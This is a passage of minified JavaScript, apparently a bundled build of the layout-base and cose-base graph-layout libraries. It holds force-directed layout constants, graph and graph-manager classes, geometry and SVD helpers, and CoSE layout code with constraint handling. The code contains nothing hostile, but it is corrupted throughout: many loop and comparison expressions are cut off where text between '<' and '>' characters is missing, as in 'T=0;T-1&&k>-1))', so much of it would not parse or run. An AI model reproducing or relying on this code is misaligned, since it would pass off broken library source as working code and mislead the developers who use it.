n)i[a]=n[a];i.MAX_ITERATIONS=2500,i.DEFAULT_EDGE_LENGTH=50,i.DEFAULT_SPRING_STRENGTH=.45,i.DEFAULT_REPULSION_STRENGTH=4500,i.DEFAULT_GRAVITY_STRENGTH=.4,i.DEFAULT_COMPOUND_GRAVITY_STRENGTH=1,i.DEFAULT_GRAVITY_RANGE_FACTOR=3.8,i.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=1.5,i.DEFAULT_USE_SMART_IDEAL_EDGE_LENGTH_CALCULATION=!0,i.DEFAULT_USE_SMART_REPULSION_RANGE_CALCULATION=!0,i.DEFAULT_COOLING_FACTOR_INCREMENTAL=.3,i.COOLING_ADAPTATION_FACTOR=.33,i.ADAPTATION_LOWER_NODE_LIMIT=1e3,i.ADAPTATION_UPPER_NODE_LIMIT=5e3,i.MAX_NODE_DISPLACEMENT_INCREMENTAL=100,i.MAX_NODE_DISPLACEMENT=i.MAX_NODE_DISPLACEMENT_INCREMENTAL*3,i.MIN_REPULSION_DIST=i.DEFAULT_EDGE_LENGTH/10,i.CONVERGENCE_CHECK_PERIOD=100,i.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=.1,i.MIN_EDGE_LENGTH=1,i.GRID_CALCULATION_CHECK_PERIOD=10,t.exports=i}),(function(t,e,r){"use strict";function n(i,a){i==null&&a==null?(this.x=0,this.y=0):(this.x=i,this.y=a)}o(n,"PointD"),n.prototype.getX=function(){return this.x},n.prototype.getY=function(){return this.y},n.prototype.setX=function(i){this.x=i},n.prototype.setY=function(i){this.y=i},n.prototype.getDifference=function(i){return new DimensionD(this.x-i.x,this.y-i.y)},n.prototype.getCopy=function(){return new n(this.x,this.y)},n.prototype.translate=function(i){return this.x+=i.width,this.y+=i.height,this},t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(0),s=r(7),l=r(3),u=r(1),h=r(13),f=r(12),d=r(11);function p(g,y,v){n.call(this,v),this.estimatedSize=i.MIN_VALUE,this.margin=a.DEFAULT_GRAPH_MARGIN,this.edges=[],this.nodes=[],this.isConnected=!1,this.parent=g,y!=null&&y instanceof s?this.graphManager=y:y!=null&&y instanceof Layout&&(this.graphManager=y.graphManager)}o(p,"LGraph"),p.prototype=Object.create(n.prototype);for(var m in n)p[m]=n[m];p.prototype.getNodes=function(){return this.nodes},p.prototype.getEdges=function(){return this.edges},p.prototype.getGraphManager=function(){return this.graphManager},p.prototype.getParent=function(){return this.parent},p.prototype.getLeft=function(){return this.left},p.prototype.getRight=function(){return this.right},p.prototype.getTop=function(){return this.top},p.prototype.getBottom=function(){return this.bottom},p.prototype.isConnected=function(){return this.isConnected},p.prototype.add=function(g,y,v){if(y==null&&v==null){var x=g;if(this.graphManager==null)throw"Graph has no graph mgr!";if(this.getNodes().indexOf(x)>-1)throw"Node already in graph!";return x.owner=this,this.getNodes().push(x),x}else{var b=g;if(!(this.getNodes().indexOf(y)>-1&&this.getNodes().indexOf(v)>-1))throw"Source or target not in graph!";if(!(y.owner==v.owner&&y.owner==this))throw"Both owners must be this graph!";return y.owner!=v.owner?null:(b.source=y,b.target=v,b.isInterGraph=!1,this.getEdges().push(b),y.edges.push(b),v!=y&&v.edges.push(b),b)}},p.prototype.remove=function(g){var y=g;if(g instanceof l){if(y==null)throw"Node is null!";if(!(y.owner!=null&&y.owner==this))throw"Owner graph is invalid!";if(this.graphManager==null)throw"Owner graph manager is invalid!";for(var v=y.edges.slice(),x,b=v.length,T=0;T-1&&k>-1))throw"Source and/or target doesn't know this edge!";x.source.edges.splice(w,1),x.target!=x.source&&x.target.edges.splice(k,1);var S=x.source.owner.getEdges().indexOf(x);if(S==-1)throw"Not in owner's edge list!";x.source.owner.getEdges().splice(S,1)}},p.prototype.updateLeftTop=function(){for(var g=i.MAX_VALUE,y=i.MAX_VALUE,v,x,b,T=this.getNodes(),S=T.length,w=0;wv&&(g=v),y>x&&(y=x)}return g==i.MAX_VALUE?null:(T[0].getParent().paddingLeft!=null?b=T[0].getParent().paddingLeft:b=this.margin,this.left=y-b,this.top=g-b,new f(this.left,this.top))},p.prototype.updateBounds=function(g){for(var y=i.MAX_VALUE,v=-i.MAX_VALUE,x=i.MAX_VALUE,b=-i.MAX_VALUE,T,S,w,k,A,C=this.nodes,R=C.length,I=0;IT&&(y=T),vw&&(x=w),bT&&(y=T),vw&&(x=w),b=this.nodes.length){var R=0;v.forEach(function(I){I.owner==g&&R++}),R==this.nodes.length&&(this.isConnected=!0)}},t.exports=p}),(function(t,e,r){"use strict";var n,i=r(1);function a(s){n=r(6),this.layout=s,this.graphs=[],this.edges=[]}o(a,"LGraphManager"),a.prototype.addRoot=function(){var s=this.layout.newGraph(),l=this.layout.newNode(null),u=this.add(s,l);return this.setRootGraph(u),this.rootGraph},a.prototype.add=function(s,l,u,h,f){if(u==null&&h==null&&f==null){if(s==null)throw"Graph is null!";if(l==null)throw"Parent node is null!";if(this.graphs.indexOf(s)>-1)throw"Graph already in this graph mgr!";if(this.graphs.push(s),s.parent!=null)throw"Already has a parent!";if(l.child!=null)throw"Already has a child!";return s.parent=l,l.child=s,s}else{f=u,h=l,u=s;var d=h.getOwner(),p=f.getOwner();if(!(d!=null&&d.getGraphManager()==this))throw"Source not in this graph mgr!";if(!(p!=null&&p.getGraphManager()==this))throw"Target not in this graph mgr!";if(d==p)return u.isInterGraph=!1,d.add(u,h,f);if(u.isInterGraph=!0,u.source=h,u.target=f,this.edges.indexOf(u)>-1)throw"Edge already in inter-graph edge list!";if(this.edges.push(u),!(u.source!=null&&u.target!=null))throw"Edge source and/or target is null!";if(!(u.source.edges.indexOf(u)==-1&&u.target.edges.indexOf(u)==-1))throw"Edge already in source and/or target incidency list!";return u.source.edges.push(u),u.target.edges.push(u),u}},a.prototype.remove=function(s){if(s instanceof n){var l=s;if(l.getGraphManager()!=this)throw"Graph not in this graph mgr";if(!(l==this.rootGraph||l.parent!=null&&l.parent.graphManager==this))throw"Invalid parent node!";var u=[];u=u.concat(l.getEdges());for(var h,f=u.length,d=0;d=s.getRight()?l[0]+=Math.min(s.getX()-a.getX(),a.getRight()-s.getRight()):s.getX()<=a.getX()&&s.getRight()>=a.getRight()&&(l[0]+=Math.min(a.getX()-s.getX(),s.getRight()-a.getRight())),a.getY()<=s.getY()&&a.getBottom()>=s.getBottom()?l[1]+=Math.min(s.getY()-a.getY(),a.getBottom()-s.getBottom()):s.getY()<=a.getY()&&s.getBottom()>=a.getBottom()&&(l[1]+=Math.min(a.getY()-s.getY(),s.getBottom()-a.getBottom()));var f=Math.abs((s.getCenterY()-a.getCenterY())/(s.getCenterX()-a.getCenterX()));s.getCenterY()===a.getCenterY()&&s.getCenterX()===a.getCenterX()&&(f=1);var d=f*l[0],p=l[1]/f;l[0]d)return l[0]=u,l[1]=m,l[2]=f,l[3]=C,!1;if(hf)return l[0]=p,l[1]=h,l[2]=k,l[3]=d,!1;if(uf?(l[0]=y,l[1]=v,E=!0):(l[0]=g,l[1]=m,E=!0):_===M&&(u>f?(l[0]=p,l[1]=m,E=!0):(l[0]=x,l[1]=v,E=!0)),-O===M?f>u?(l[2]=A,l[3]=C,D=!0):(l[2]=k,l[3]=w,D=!0):O===M&&(f>u?(l[2]=S,l[3]=w,D=!0):(l[2]=R,l[3]=C,D=!0)),E&&D)return!1;if(u>f?h>d?(P=this.getCardinalDirection(_,M,4),B=this.getCardinalDirection(O,M,2)):(P=this.getCardinalDirection(-_,M,3),B=this.getCardinalDirection(-O,M,1)):h>d?(P=this.getCardinalDirection(-_,M,1),B=this.getCardinalDirection(-O,M,3)):(P=this.getCardinalDirection(_,M,2),B=this.getCardinalDirection(O,M,4)),!E)switch(P){case 1:G=m,F=u+-T/M,l[0]=F,l[1]=G;break;case 2:F=x,G=h+b*M,l[0]=F,l[1]=G;break;case 3:G=v,F=u+T/M,l[0]=F,l[1]=G;break;case 4:F=y,G=h+-b*M,l[0]=F,l[1]=G;break}if(!D)switch(B){case 1:U=w,$=f+-L/M,l[2]=$,l[3]=U;break;case 2:$=R,U=d+I*M,l[2]=$,l[3]=U;break;case 3:U=C,$=f+L/M,l[2]=$,l[3]=U;break;case 4:$=A,U=d+-I*M,l[2]=$,l[3]=U;break}}return!1},i.getCardinalDirection=function(a,s,l){return a>s?l:1+l%4},i.getIntersection=function(a,s,l,u){if(u==null)return this.getIntersection2(a,s,l);var h=a.x,f=a.y,d=s.x,p=s.y,m=l.x,g=l.y,y=u.x,v=u.y,x=void 0,b=void 0,T=void 0,S=void 0,w=void 0,k=void 0,A=void 0,C=void 0,R=void 0;return T=p-f,w=h-d,A=d*f-h*p,S=v-g,k=m-y,C=y*g-m*v,R=T*k-S*w,R===0?null:(x=(w*C-k*A)/R,b=(S*A-T*C)/R,new n(x,b))},i.angleOfVector=function(a,s,l,u){var h=void 0;return a!==l?(h=Math.atan((u-s)/(l-a)),l=0){var v=(-m+Math.sqrt(m*m-4*p*g))/(2*p),x=(-m-Math.sqrt(m*m-4*p*g))/(2*p),b=null;return v>=0&&v<=1?[v]:x>=0&&x<=1?[x]:b}else return null},i.HALF_PI=.5*Math.PI,i.ONE_AND_HALF_PI=1.5*Math.PI,i.TWO_PI=2*Math.PI,i.THREE_PI=3*Math.PI,t.exports=i}),(function(t,e,r){"use strict";function n(){}o(n,"IMath"),n.sign=function(i){return i>0?1:i<0?-1:0},n.floor=function(i){return i<0?Math.ceil(i):Math.floor(i)},n.ceil=function(i){return i<0?Math.floor(i):Math.ceil(i)},t.exports=n}),(function(t,e,r){"use strict";function n(){}o(n,"Integer"),n.MAX_VALUE=2147483647,n.MIN_VALUE=-2147483648,t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function h(f,d){for(var p=0;p"u"?"undefined":n(a);return a==null||s!="object"&&s!="function"},t.exports=i}),(function(t,e,r){"use strict";function n(m){if(Array.isArray(m)){for(var g=0,y=Array(m.length);g0&&g;){for(T.push(w[0]);T.length>0&&g;){var k=T[0];T.splice(0,1),b.add(k);for(var A=k.getEdges(),x=0;x-1&&w.splice(L,1)}b=new Set,S=new Map}}return m},p.prototype.createDummyNodesForBendpoints=function(m){for(var g=[],y=m.source,v=this.graphManager.calcLowestCommonAncestor(m.source,m.target),x=0;x0){for(var v=this.edgeToDummyNodes.get(y),x=0;x=0&&g.splice(C,1);var R=S.getNeighborsList();R.forEach(function(E){if(y.indexOf(E)<0){var D=v.get(E),_=D-1;_==1&&k.push(E),v.set(E,_)}})}y=y.concat(k),(g.length==1||g.length==2)&&(x=!0,b=g[0])}return b},p.prototype.setGraphManager=function(m){this.graphManager=m},t.exports=p}),(function(t,e,r){"use strict";function n(){}o(n,"RandomSeed"),n.seed=1,n.x=0,n.nextDouble=function(){return n.x=Math.sin(n.seed++)*1e4,n.x-Math.floor(n.x)},t.exports=n}),(function(t,e,r){"use strict";var n=r(5);function i(a,s){this.lworldOrgX=0,this.lworldOrgY=0,this.ldeviceOrgX=0,this.ldeviceOrgY=0,this.lworldExtX=1,this.lworldExtY=1,this.ldeviceExtX=1,this.ldeviceExtY=1}o(i,"Transform"),i.prototype.getWorldOrgX=function(){return this.lworldOrgX},i.prototype.setWorldOrgX=function(a){this.lworldOrgX=a},i.prototype.getWorldOrgY=function(){return this.lworldOrgY},i.prototype.setWorldOrgY=function(a){this.lworldOrgY=a},i.prototype.getWorldExtX=function(){return this.lworldExtX},i.prototype.setWorldExtX=function(a){this.lworldExtX=a},i.prototype.getWorldExtY=function(){return this.lworldExtY},i.prototype.setWorldExtY=function(a){this.lworldExtY=a},i.prototype.getDeviceOrgX=function(){return this.ldeviceOrgX},i.prototype.setDeviceOrgX=function(a){this.ldeviceOrgX=a},i.prototype.getDeviceOrgY=function(){return this.ldeviceOrgY},i.prototype.setDeviceOrgY=function(a){this.ldeviceOrgY=a},i.prototype.getDeviceExtX=function(){return this.ldeviceExtX},i.prototype.setDeviceExtX=function(a){this.ldeviceExtX=a},i.prototype.getDeviceExtY=function(){return this.ldeviceExtY},i.prototype.setDeviceExtY=function(a){this.ldeviceExtY=a},i.prototype.transformX=function(a){var s=0,l=this.lworldExtX;return l!=0&&(s=this.ldeviceOrgX+(a-this.lworldOrgX)*this.ldeviceExtX/l),s},i.prototype.transformY=function(a){var s=0,l=this.lworldExtY;return l!=0&&(s=this.ldeviceOrgY+(a-this.lworldOrgY)*this.ldeviceExtY/l),s},i.prototype.inverseTransformX=function(a){var s=0,l=this.ldeviceExtX;return l!=0&&(s=this.lworldOrgX+(a-this.ldeviceOrgX)*this.lworldExtX/l),s},i.prototype.inverseTransformY=function(a){var s=0,l=this.ldeviceExtY;return l!=0&&(s=this.lworldOrgY+(a-this.ldeviceOrgY)*this.lworldExtY/l),s},i.prototype.inverseTransformPoint=function(a){var s=new n(this.inverseTransformX(a.x),this.inverseTransformY(a.y));return s},t.exports=i}),(function(t,e,r){"use strict";function n(d){if(Array.isArray(d)){for(var p=0,m=Array(d.length);pa.ADAPTATION_LOWER_NODE_LIMIT&&(this.coolingFactor=Math.max(this.coolingFactor*a.COOLING_ADAPTATION_FACTOR,this.coolingFactor-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*this.coolingFactor*(1-a.COOLING_ADAPTATION_FACTOR))),this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT_INCREMENTAL):(d>a.ADAPTATION_LOWER_NODE_LIMIT?this.coolingFactor=Math.max(a.COOLING_ADAPTATION_FACTOR,1-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*(1-a.COOLING_ADAPTATION_FACTOR)):this.coolingFactor=1,this.initialCoolingFactor=this.coolingFactor,this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT),this.maxIterations=Math.max(this.getAllNodes().length*5,this.maxIterations),this.displacementThresholdPerNode=3*a.DEFAULT_EDGE_LENGTH/100,this.totalDisplacementThreshold=this.displacementThresholdPerNode*this.getAllNodes().length,this.repulsionRange=this.calcRepulsionRange()},h.prototype.calcSpringForces=function(){for(var d=this.getAllEdges(),p,m=0;m0&&arguments[0]!==void 0?arguments[0]:!0,p=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,m,g,y,v,x=this.getAllNodes(),b;if(this.useFRGridVariant)for(this.totalIterations%a.GRID_CALCULATION_CHECK_PERIOD==1&&d&&this.updateGrid(),b=new Set,m=0;mT||b>T)&&(d.gravitationForceX=-this.gravityConstant*y,d.gravitationForceY=-this.gravityConstant*v)):(T=p.getEstimatedSize()*this.compoundGravityRangeFactor,(x>T||b>T)&&(d.gravitationForceX=-this.gravityConstant*y*this.compoundGravityConstant,d.gravitationForceY=-this.gravityConstant*v*this.compoundGravityConstant))},h.prototype.isConverged=function(){var d,p=!1;return this.totalIterations>this.maxIterations/3&&(p=Math.abs(this.totalDisplacement-this.oldTotalDisplacement)<2),d=this.totalDisplacement=x.length||T>=x[0].length)){for(var S=0;Sh},"_defaultCompareFunction")}]),l})();t.exports=s}),(function(t,e,r){"use strict";function n(){}o(n,"SVD"),n.svd=function(i){this.U=null,this.V=null,this.s=null,this.m=0,this.n=0,this.m=i.length,this.n=i[0].length;var a=Math.min(this.m,this.n);this.s=(function(dt){for(var nt=[];dt-- >0;)nt.push(0);return nt})(Math.min(this.m+1,this.n)),this.U=(function(dt){var nt=o(function bt(wt){if(wt.length==0)return 0;for(var yt=[],ft=0;ft0;)nt.push(0);return nt})(this.n),l=(function(dt){for(var nt=[];dt-- >0;)nt.push(0);return nt})(this.m),u=!0,h=!0,f=Math.min(this.m-1,this.n),d=Math.max(0,Math.min(this.n-2,this.m)),p=0;p=0;M--)if(this.s[M]!==0){for(var P=M+1;P=0;te--){if((function(dt,nt){return dt&&nt})(te0;){var Q=void 0,de=void 0;for(Q=D-2;Q>=-1&&Q!==-1;Q--)if(Math.abs(s[Q])<=ae+K*(Math.abs(this.s[Q])+Math.abs(this.s[Q+1]))){s[Q]=0;break}if(Q===D-2)de=4;else{var ne=void 0;for(ne=D-1;ne>=Q&&ne!==Q;ne--){var Te=(ne!==D?Math.abs(s[ne]):0)+(ne!==Q+1?Math.abs(s[ne-1]):0);if(Math.abs(this.s[ne])<=ae+K*Te){this.s[ne]=0;break}}ne===Q?de=3:ne===D-1?de=1:(de=2,Q=ne)}switch(Q++,de){case 1:{var q=s[D-2];s[D-2]=0;for(var Ve=D-2;Ve>=Q;Ve--){var pe=n.hypot(this.s[Ve],q),Be=this.s[Ve]/pe,Ye=q/pe;if(this.s[Ve]=pe,Ve!==Q&&(q=-Ye*s[Ve-1],s[Ve-1]=Be*s[Ve-1]),h)for(var He=0;He=this.s[Q+1]);){var lt=this.s[Q];if(this.s[Q]=this.s[Q+1],this.s[Q+1]=lt,h&&QMath.abs(a)?(s=a/i,s=Math.abs(i)*Math.sqrt(1+s*s)):a!=0?(s=i/a,s=Math.abs(a)*Math.sqrt(1+s*s)):s=0,s},t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function s(l,u){for(var h=0;h2&&arguments[2]!==void 0?arguments[2]:1,f=arguments.length>3&&arguments[3]!==void 0?arguments[3]:-1,d=arguments.length>4&&arguments[4]!==void 0?arguments[4]:-1;i(this,s),this.sequence1=l,this.sequence2=u,this.match_score=h,this.mismatch_penalty=f,this.gap_penalty=d,this.iMax=l.length+1,this.jMax=u.length+1,this.grid=new Array(this.iMax);for(var p=0;p=0;l--){var u=this.listeners[l];u.event===a&&u.callback===s&&this.listeners.splice(l,1)}},i.emit=function(a,s){for(var l=0;l{"use strict";o((function(e,r){typeof P4=="object"&&typeof Rz=="object"?Rz.exports=r(Lz()):typeof define=="function"&&define.amd?define(["layout-base"],r):typeof P4=="object"?P4.coseBase=r(Lz()):e.coseBase=r(e.layoutBase)}),"webpackUniversalModuleDefinition")(P4,function(t){return(()=>{"use strict";var e={45:((a,s,l)=>{var u={};u.layoutBase=l(551),u.CoSEConstants=l(806),u.CoSEEdge=l(767),u.CoSEGraph=l(880),u.CoSEGraphManager=l(578),u.CoSELayout=l(765),u.CoSENode=l(991),u.ConstraintHandler=l(902),a.exports=u}),806:((a,s,l)=>{var u=l(551).FDLayoutConstants;function h(){}o(h,"CoSEConstants");for(var f in u)h[f]=u[f];h.DEFAULT_USE_MULTI_LEVEL_SCALING=!1,h.DEFAULT_RADIAL_SEPARATION=u.DEFAULT_EDGE_LENGTH,h.DEFAULT_COMPONENT_SEPERATION=60,h.TILE=!0,h.TILING_PADDING_VERTICAL=10,h.TILING_PADDING_HORIZONTAL=10,h.TRANSFORM_ON_CONSTRAINT_HANDLING=!0,h.ENFORCE_CONSTRAINTS=!0,h.APPLY_LAYOUT=!0,h.RELAX_MOVEMENT_ON_CONSTRAINTS=!0,h.TREE_REDUCTION_ON_INCREMENTAL=!0,h.PURE_INCREMENTAL=h.DEFAULT_INCREMENTAL,a.exports=h}),767:((a,s,l)=>{var u=l(551).FDLayoutEdge;function h(d,p,m){u.call(this,d,p,m)}o(h,"CoSEEdge"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),880:((a,s,l)=>{var u=l(551).LGraph;function h(d,p,m){u.call(this,d,p,m)}o(h,"CoSEGraph"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),578:((a,s,l)=>{var u=l(551).LGraphManager;function h(d){u.call(this,d)}o(h,"CoSEGraphManager"),h.prototype=Object.create(u.prototype);for(var f in u)h[f]=u[f];a.exports=h}),765:((a,s,l)=>{var u=l(551).FDLayout,h=l(578),f=l(880),d=l(991),p=l(767),m=l(806),g=l(902),y=l(551).FDLayoutConstants,v=l(551).LayoutConstants,x=l(551).Point,b=l(551).PointD,T=l(551).DimensionD,S=l(551).Layout,w=l(551).Integer,k=l(551).IGeometry,A=l(551).LGraph,C=l(551).Transform,R=l(551).LinkedList;function I(){u.call(this),this.toBeTiled={},this.constraints={}}o(I,"CoSELayout"),I.prototype=Object.create(u.prototype);for(var L in u)I[L]=u[L];I.prototype.newGraphManager=function(){var E=new h(this);return this.graphManager=E,E},I.prototype.newGraph=function(E){return new f(null,this.graphManager,E)},I.prototype.newNode=function(E){return new d(this.graphManager,E)},I.prototype.newEdge=function(E){return new p(null,null,E)},I.prototype.initParameters=function(){u.prototype.initParameters.call(this,arguments),this.isSubLayout||(m.DEFAULT_EDGE_LENGTH<10?this.idealEdgeLength=10:this.idealEdgeLength=m.DEFAULT_EDGE_LENGTH,this.useSmartIdealEdgeLengthCalculation=m.DEFAULT_USE_SMART_IDEAL_EDGE_LENGTH_CALCULATION,this.gravityConstant=y.DEFAULT_GRAVITY_STRENGTH,this.compoundGravityConstant=y.DEFAULT_COMPOUND_GRAVITY_STRENGTH,this.gravityRangeFactor=y.DEFAULT_GRAVITY_RANGE_FACTOR,this.compoundGravityRangeFactor=y.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR,this.prunedNodesAll=[],this.growTreeIterations=0,this.afterGrowthIterations=0,this.isTreeGrowing=!1,this.isGrowthFinished=!1)},I.prototype.initSpringEmbedder=function(){u.prototype.initSpringEmbedder.call(this),this.coolingCycle=0,this.maxCoolingCycle=this.maxIterations/y.CONVERGENCE_CHECK_PERIOD,this.finalTemperature=.04,this.coolingAdjuster=1},I.prototype.layout=function(){var E=v.DEFAULT_CREATE_BENDS_AS_NEEDED;return E&&(this.createBendpoints(),this.graphManager.resetAllEdges()),this.level=0,this.classicLayout()},I.prototype.classicLayout=function(){if(this.nodesWithGravity=this.calculateNodesToApplyGravitationTo(),this.graphManager.setAllNodesToApplyGravitation(this.nodesWithGravity),this.calcNoOfChildrenForAllNodes(),this.graphManager.calcLowestCommonAncestors(),this.graphManager.calcInclusionTreeDepths(),this.graphManager.getRoot().calcEstimatedSize(),this.calcIdealEdgeLengths(),this.incremental){if(m.TREE_REDUCTION_ON_INCREMENTAL){this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var D=new Set(this.getAllNodes()),_=this.nodesWithGravity.filter(function(P){return D.has(P)});this.graphManager.setAllNodesToApplyGravitation(_)}}else{var E=this.getFlatForest();if(E.length>0)this.positionNodesRadially(E);else{this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var D=new Set(this.getAllNodes()),_=this.nodesWithGravity.filter(function(O){return D.has(O)});this.graphManager.setAllNodesToApplyGravitation(_),this.positionNodesRandomly()}}return Object.keys(this.constraints).length>0&&(g.handleConstraints(this),this.initConstraintVariables()),this.initSpringEmbedder(),m.APPLY_LAYOUT&&this.runSpringEmbedder(),!0},I.prototype.tick=function(){if(this.totalIterations++,this.totalIterations===this.maxIterations&&!this.isTreeGrowing&&!this.isGrowthFinished)if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;if(this.totalIterations%y.CONVERGENCE_CHECK_PERIOD==0&&!this.isTreeGrowing&&!this.isGrowthFinished){if(this.isConverged())if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;this.coolingCycle++,this.layoutQuality==0?this.coolingAdjuster=this.coolingCycle:this.layoutQuality==1&&(this.coolingAdjuster=this.coolingCycle/3),this.coolingFactor=Math.max(this.initialCoolingFactor-Math.pow(this.coolingCycle,Math.log(100*(this.initialCoolingFactor-this.finalTemperature))/Math.log(this.maxCoolingCycle))/100*this.coolingAdjuster,this.finalTemperature),this.animationPeriod=Math.ceil(this.initialAnimationPeriod*Math.sqrt(this.coolingFactor))}if(this.isTreeGrowing){if(this.growTreeIterations%10==0)if(this.prunedNodesAll.length>0){this.graphManager.updateBounds(),this.updateGrid(),this.growTree(this.prunedNodesAll),this.graphManager.resetAllNodesToApplyGravitation();var E=new Set(this.getAllNodes()),D=this.nodesWithGravity.filter(function(M){return E.has(M)});this.graphManager.setAllNodesToApplyGravitation(D),this.graphManager.updateBounds(),this.updateGrid(),m.PURE_INCREMENTAL?this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL/2:this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL}else this.isTreeGrowing=!1,this.isGrowthFinished=!0;this.growTreeIterations++}if(this.isGrowthFinished){if(this.isConverged())return!0;this.afterGrowthIterations%10==0&&(this.graphManager.updateBounds(),this.updateGrid()),m.PURE_INCREMENTAL?this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL/2*((100-this.afterGrowthIterations)/100):this.coolingFactor=y.DEFAULT_COOLING_FACTOR_INCREMENTAL*((100-this.afterGrowthIterations)/100),this.afterGrowthIterations++}var _=!this.isTreeGrowing&&!this.isGrowthFinished,O=this.growTreeIterations%10==1&&this.isTreeGrowing||this.afterGrowthIterations%10==1&&this.isGrowthFinished;return this.totalDisplacement=0,this.graphManager.updateBounds(),this.calcSpringForces(),this.calcRepulsionForces(_,O),this.calcGravitationalForces(),this.moveNodes(),this.animate(),!1},I.prototype.getPositionsData=function(){for(var E=this.graphManager.getAllNodes(),D={},_=0;_0&&this.updateDisplacements();for(var _=0;_0&&(O.fixedNodeWeight=P)}}if(this.constraints.relativePlacementConstraint){var B=new Map,F=new Map;if(this.dummyToNodeForVerticalAlignment=new Map,this.dummyToNodeForHorizontalAlignment=new Map,this.fixedNodesOnHorizontal=new Set,this.fixedNodesOnVertical=new Set,this.fixedNodeSet.forEach(function(J){E.fixedNodesOnHorizontal.add(J),E.fixedNodesOnVertical.add(J)}),this.constraints.alignmentConstraint){if(this.constraints.alignmentConstraint.vertical)for(var G=this.constraints.alignmentConstraint.vertical,_=0;_=2*J.length/3;ee--)ue=Math.floor(Math.random()*(ee+1)),re=J[ee],J[ee]=J[ue],J[ue]=re;return J},this.nodesInRelativeHorizontal=[],this.nodesInRelativeVertical=[],this.nodeToRelativeConstraintMapHorizontal=new Map,this.nodeToRelativeConstraintMapVertical=new Map,this.nodeToTempPositionMapHorizontal=new Map,this.nodeToTempPositionMapVertical=new Map,this.constraints.relativePlacementConstraint.forEach(function(J){if(J.left){var ue=B.has(J.left)?B.get(J.left):J.left,re=B.has(J.right)?B.get(J.right):J.right;E.nodesInRelativeHorizontal.includes(ue)||(E.nodesInRelativeHorizontal.push(ue),E.nodeToRelativeConstraintMapHorizontal.set(ue,[]),E.dummyToNodeForVerticalAlignment.has(ue)?E.nodeToTempPositionMapHorizontal.set(ue,E.idToNodeMap.get(E.dummyToNodeForVerticalAlignment.get(ue)[0]).getCenterX()):E.nodeToTempPositionMapHorizontal.set(ue,E.idToNodeMap.get(ue).getCenterX())),E.nodesInRelativeHorizontal.includes(re)||(E.nodesInRelativeHorizontal.push(re),E.nodeToRelativeConstraintMapHorizontal.set(re,[]),E.dummyToNodeForVerticalAlignment.has(re)?E.nodeToTempPositionMapHorizontal.set(re,E.idToNodeMap.get(E.dummyToNodeForVerticalAlignment.get(re)[0]).getCenterX()):E.nodeToTempPositionMapHorizontal.set(re,E.idToNodeMap.get(re).getCenterX())),E.nodeToRelativeConstraintMapHorizontal.get(ue).push({right:re,gap:J.gap}),E.nodeToRelativeConstraintMapHorizontal.get(re).push({left:ue,gap:J.gap})}else{var ee=F.has(J.top)?F.get(J.top):J.top,Z=F.has(J.bottom)?F.get(J.bottom):J.bottom;E.nodesInRelativeVertical.includes(ee)||(E.nodesInRelativeVertical.push(ee),E.nodeToRelativeConstraintMapVertical.set(ee,[]),E.dummyToNodeForHorizontalAlignment.has(ee)?E.nodeToTempPositionMapVertical.set(ee,E.idToNodeMap.get(E.dummyToNodeForHorizontalAlignment.get(ee)[0]).getCenterY()):E.nodeToTempPositionMapVertical.set(ee,E.idToNodeMap.get(ee).getCenterY())),E.nodesInRelativeVertical.includes(Z)||(E.nodesInRelativeVertical.push(Z),E.nodeToRelativeConstraintMapVertical.set(Z,[]),E.dummyToNodeForHorizontalAlignment.has(Z)?E.nodeToTempPositionMapVertical.set(Z,E.idToNodeMap.get(E.dummyToNodeForHorizontalAlignment.get(Z)[0]).getCenterY()):E.nodeToTempPositionMapVertical.set(Z,E.idToNodeMap.get(Z).getCenterY())),E.nodeToRelativeConstraintMapVertical.get(ee).push({bottom:Z,gap:J.gap}),E.nodeToRelativeConstraintMapVertical.get(Z).push({top:ee,gap:J.gap})}});else{var U=new Map,j=new Map;this.constraints.relativePlacementConstraint.forEach(function(J){if(J.left){var ue=B.has(J.left)?B.get(J.left):J.left,re=B.has(J.right)?B.get(J.right):J.right;U.has(ue)?U.get(ue).push(re):U.set(ue,[re]),U.has(re)?U.get(re).push(ue):U.set(re,[ue])}else{var ee=F.has(J.top)?F.get(J.top):J.top,Z=F.has(J.bottom)?F.get(J.bottom):J.bottom;j.has(ee)?j.get(ee).push(Z):j.set(ee,[Z]),j.has(Z)?j.get(Z).push(ee):j.set(Z,[ee])}});var te=o(function(ue,re){var ee=[],Z=[],K=new R,ae=new Set,Q=0;return ue.forEach(function(de,ne){if(!ae.has(ne)){ee[Q]=[],Z[Q]=!1;var Te=ne;for(K.push(Te),ae.add(Te),ee[Q].push(Te);K.length!=0;){Te=K.shift(),re.has(Te)&&(Z[Q]=!0);var q=ue.get(Te);q.forEach(function(Ve){ae.has(Ve)||(K.push(Ve),ae.add(Ve),ee[Q].push(Ve))})}Q++}}),{components:ee,isFixed:Z}},"constructComponents"),Y=te(U,E.fixedNodesOnHorizontal);this.componentsOnHorizontal=Y.components,this.fixedComponentsOnHorizontal=Y.isFixed;var oe=te(j,E.fixedNodesOnVertical);this.componentsOnVertical=oe.components,this.fixedComponentsOnVertical=oe.isFixed}}},I.prototype.updateDisplacements=function(){var E=this;if(this.constraints.fixedNodeConstraint&&this.constraints.fixedNodeConstraint.forEach(function(oe){var 